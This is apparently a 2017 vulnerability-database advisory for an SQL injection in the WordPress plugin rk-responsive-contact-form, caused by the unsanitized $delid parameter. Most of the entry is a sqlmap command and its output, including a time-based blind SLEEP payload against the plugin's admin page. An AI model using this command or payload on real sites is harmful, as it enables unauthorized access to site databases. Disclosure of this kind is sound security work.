The VapidLabs Vulnerability Database

SQL Injection

Summary: The variable $delid isn't sanitized before being passed into an SQL query in file ./rk-responsive-contact-form/include/rk_user_list.php.

Notified: 2017-08-05

Description:

A simple WordPress plugin that generates a responsive contact form on your website or blog

Exploit:

$ sqlmap -u 'http://example.com/wp-admin/admin.php?page=rk_user_lists&info=del&did=*' --load-cookies=./cookie.txt --level=2 --risk=1 --dbms=mysql 


URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 318 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 time-based blind - Parameter replace
  Payload: http://example.com:80/wp-admin/admin.php?page=rk_user_lists&info=del&did=(CASE WHEN (6363=6363) THEN SLEEP(5) ELSE 6363 END)
---
[10:57:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[10:57:22] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'

[*] shutting down at 10:57:22